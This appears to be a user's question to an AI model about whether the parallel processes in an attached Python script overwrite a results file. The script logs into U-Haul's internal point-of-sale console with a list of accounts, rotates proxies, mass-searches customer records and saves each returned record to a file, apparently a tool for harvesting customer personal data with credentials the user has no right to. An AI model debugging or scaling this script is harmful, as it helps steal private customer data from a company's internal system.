will parraelization overwrite the file results? 

import json
import requests
from bs4 import BeautifulSoup
import random
import time
from multiprocessing import Pool, cpu_count
saved = open("saved.txt", "a+")
class uHaul:
    def init(self, username, password, entity='', debugMode=False, proxy=''):
        self.username = username
        self.password = password
        self.debugMode = debugMode
        self.authenticated = False
        self.proxy = proxy
        self.entity = entity
        self.sessionSecret = ''
        self.session = self.createSession()
        self.authenticate()

    def dprint(self, msg):
        if self.debugMode:
            print('[debug] --> ' + str(msg))

    def createSession(self):
        session = requests.Session()
        self.dprint('Init requests session…')
        session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0'
        })
        session.proxies.update(self.proxy)
        return session

    def authenticate(self):
        postData = {
            'Username': self.username,
            'Password': self.password,
            'Entity': self.entity
        }

        req = self.session.post('https://pos.uhaul.net/secure/CSFRewriteConsole3/Account/Login', data=postData)

        if '<title>Reservation Details</title>' in req.text:
            self.authenticated = True
            self.sessionSecret = req.history[1].headers['Location'].split('/')[3]
            self.dprint('Authenticated!')
            self.dprint('Session secret = ' + str(self.sessionSecret))
        else:
            self.dprint('Failed to authenticate')

    def searchForCustomer(self, customer):
        secretsessionid = self.sessionSecret
        url = f'https://pos.uhaul.net/secure/CSFRewriteConsole3/{secretsessionid}/Customer/SearchForCustomer'
        postData = {'searchItem': customer}
        req = self.session.post(url, data=postData)
        ## check for invalid resp
        if req.text == '{"success":false,"data":null,"hasQuotes":false,"reservationLinks":null}':
            self.dprint(f'invalid lookup: {customer}')
        elif req.status_code != 200:
            self.dprint(f'invalid lookup: error:{req.text}\nstatus code:{str(req.status_code)}')
        else:
            result = json.loads(req.text)
            self.dprint('[' + str(result['success']) + f'] ---- customer lookup status for [{customer}]')
            saved.write(str(result)+'\n')
            saved.flush()

def process_customer_chunk(account, customers_chunk):
    username = account['username']
    password = account['password']
    proxy = account['proxy']

    account_session = uHaul(username, password, proxy=proxy)
    for customer in customers_chunk:
        account_session.searchForCustomer(customer)
        time.sleep(3) ##max retries is gay cuz two only 2 possible errors and we already check for those xd 

# Load the accounts from accounts.json
with open('accounts.json') as f:
    accounts = json.load(f)

# Load customer data from customer_data.txt
with open('customer_data.txt') as f:
    customers = f.read().splitlines()

# Load proxies from a file
with open('proxies.txt') as f:
    lines = f.read().splitlines()
    proxies = [{'http': line, 'https': line} for line in lines]

# Perform searching in parallel using multiprocessing and proxies
# Determine the number of available CPU cores
num_cores = cpu_count()

# Split the customers into chunks based on the number of CPU cores
customer_chunks = [customers[i::num_cores] for i in range(num_cores)]

# Perform searching in parallel using multiprocessing and proxies
with Pool(processes=num_cores) as p:
    p.starmap(process_customer_chunk, [(account, customers_chunk) for account in accounts for customers_chunk in customer_chunks])

if so, please fix it